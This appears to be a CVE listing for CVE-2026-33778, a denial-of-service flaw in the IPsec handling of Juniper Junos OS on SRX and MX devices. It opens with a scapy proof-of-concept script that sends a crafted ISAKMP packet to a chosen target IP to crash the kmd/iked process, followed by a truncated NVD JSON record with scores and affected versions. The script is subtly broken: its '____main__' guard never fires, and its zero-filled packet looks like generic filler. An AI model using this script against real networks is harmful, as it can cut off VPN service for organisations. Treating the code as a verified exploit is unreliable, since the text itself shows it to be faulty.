CVE-2026-33778

# Proof of Concept for CVE-2026-33778 # This script demonstrates sending a malformed ISAKMP packet. from scapy.all import * import sys def send_malformed_isakmp(target_ip): # Craft ISAKMP header with specific attributes to trigger the crash isakmp_header = ISAKMP() isakmp_header.init_cookie = b"\x00" * 8 isakmp_header.resp_cookie = b"\x00" * 8 isakmp_header.next_payload = 0 isakmp_header.exch_type = 5 isakmp_header.flags = 0 isakmp_header.msgid = 0 isakmp_header.length = 28 # Add arbitrary payload to simulate malformed data payload = Raw(load=b"\x00" * 100) packet = IP(dst=target_ip)/UDP(sport=500, dport=500)/isakmp_header/payload print(f"[*] Sending malformed ISAKMP packet to {target_ip}...") send(packet, verbose=0) print("[+] Packet sent. Check kmd/iked process status.") if __name__ == "____main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) send_malformed_isakmp(sys.argv[1])

{"cve": {"id": "CVE-2026-33778", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:26.500", "lastModified": "2026-04-17T17:23:59.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Validation of Syntactic Correctness of Input vulnerability in the IPsec library used by kmd and iked of Juniper Networks Junos OS on SRX Series and MX Series allows an unauthenticated, network-based attacker to cause a complete Denial-of-Service (DoS).\n\nIf an affected device receives a specifically malformed first ISAKMP packet from the initiator, the kmd/iked process will crash and restart, which momentarily prevents new security associations (SAs) for from being established. Repeated exploitation of this vulnerability causes a complete inability to establish new VPN connections.\n\nThis issue affects Junos OS on \n\nSRX Series and MX Series:\n\n\n\n * all versions before 22.4R3-S9,\n * 23.2 version before 23.2R2-S6,\n * 23.4 version before 23.4R2-S7,\n * 24.2 versions before 24.2R2-S4,\n * 24.4 versions before 24.4R2-S3,\n * 25.2 versions before 25.2R1-S2, 25.2R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "22.4", "matchCriteriaId": "57F66641-003B-49D6-A9B9-AB300CFE3C93"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:*", "matchCriteriaId": "1379EF30-AF04-4F98-8328-52A631F24737"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:*", "matchCriteriaId": "28E42A41-7965-456B-B0AF-9D3229CE4D4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "CB1A77D6-D3AD-481B-979C-8F778530B175"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "3A064B6B-A99B-4D8D-A62D-B00C7870BC30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2:*:*:*:*:*:*", "matchCriteriaId": "40813417-A938-4F74-A419-8C5188A35486"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "7FC1BA1A-DF0E-4B15-86BA-24C60E546732"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "EBB967BF-3495-476D-839A-9DBFCBE69F91"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3:*:*:*:*:*:*", "matchCriteriaId": "7E5688D6-DCA4-4550-9CD1-A3D792252129"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s1:*:*:*:*:*:*", "matchCriteriaId": "8494546C-00EA-49B6-B6FA-FDE42CA5B1FA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s2:*:*:*:*:*:*", "matchCriteriaId": "8BB98579-FA33-4E41-A162-A46E9709FBD3"}, {"vulnerable": true, "criter ... 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